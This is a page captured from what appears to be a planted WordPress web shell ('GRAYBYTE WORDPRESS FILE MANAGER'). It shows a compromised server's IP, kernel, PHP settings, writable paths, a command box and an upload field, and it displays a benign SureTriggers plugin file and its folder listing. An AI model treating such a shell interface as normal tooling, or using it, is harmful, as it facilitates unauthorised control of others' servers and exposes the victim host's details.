GRAYBYTE WORDPRESS FILE MANAGER7624

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/suretriggers/src/Controllers/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/suretriggers/src/Controllers//OptionController.php
<?php
/**
 * OptionController.
 * php version 5.6
 *
 * @category OptionController
 * @package  SureTriggers
 * @author   BSF <username@example.com>
 * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
 * @link     https://www.brainstormforce.com/
 * @since    1.0.0
 */

namespace SureTriggers\Controllers;

use SureTriggers\Traits\SingletonLoader;

if ( ! class_exists( 'OptionController' ) ) :

	/**
	 * OptionController
	 *
	 * @category OptionController
	 * @package  SureTriggers
	 * @author   BSF <username@example.com>
	 * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
	 * @link     https://www.brainstormforce.com/
	 * @since    1.0.0
	 */
	class OptionController {

		use SingletonLoader;

		/**
		 * Option key.
		 *
		 * @var string
		 */
		public static $option = 'suretrigger_options';

		/**
		 * Defaults.
		 *
		 * @var array
		 */
		public static $defaults = [];

		/**
		 * Options.
		 *
		 * @var array|false|void
		 */
		public static $options = [];

		/**
		 * Constructor
		 *
		 * @since 1.0.0
		 */
		public function __construct() {

			self::$options = get_option( self::$option, [] );
		}

		/**
		 * Get option wrapper.
		 *
		 * @param string $key key.
		 * @return mixed|string
		 */
		public static function get_option( $key ) {
			return isset( self::$options[ $key ] ) ? self::$options[ $key ] : '';
		}

		/**
		 * Set option wrapper.
		 *
		 * @param string       $key $key.
		 * @param string|array $value value.
		 *
		 * @return void
		 */
		public static function set_option( $key, $value ) {
			self::$options[ $key ] = $value;
			update_option( self::$option, self::$options, false );
		}
	}

	OptionController::get_instance();

endif;





[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:23
inteuuod / inteuuod
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
inteuuod / inteuuod
0644
AuthController.php
4.644 KB
July 04 2025 13:54:26
inteuuod / inteuuod
0644
AutomationController.php
2.681 KB
July 04 2025 13:54:26
inteuuod / inteuuod
0644
EventController.php
1.45 KB
July 04 2025 13:54:26
inteuuod / inteuuod
0644
GlobalSearchController.php
737.175 KB
July 04 2025 13:54:26
inteuuod / inteuuod
0644
IntegrationsController.php
3.631 KB
July 04 2025 13:54:26
inteuuod / inteuuod
0644
OptionController.php
1.661 KB
February 21 2023 17:03:46
inteuuod / inteuuod
0644
RestController.php
18.074 KB
July 04 2025 13:54:26
inteuuod / inteuuod
0644
RoutesController.php
4.11 KB
April 21 2025 10:30:10
inteuuod / inteuuod
0644
SettingsController.php
2.809 KB
July 04 2025 13:54:26
inteuuod / inteuuod
0644
WebhookRequestsController.php
11.371 KB
April 01 2025 11:29:04
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF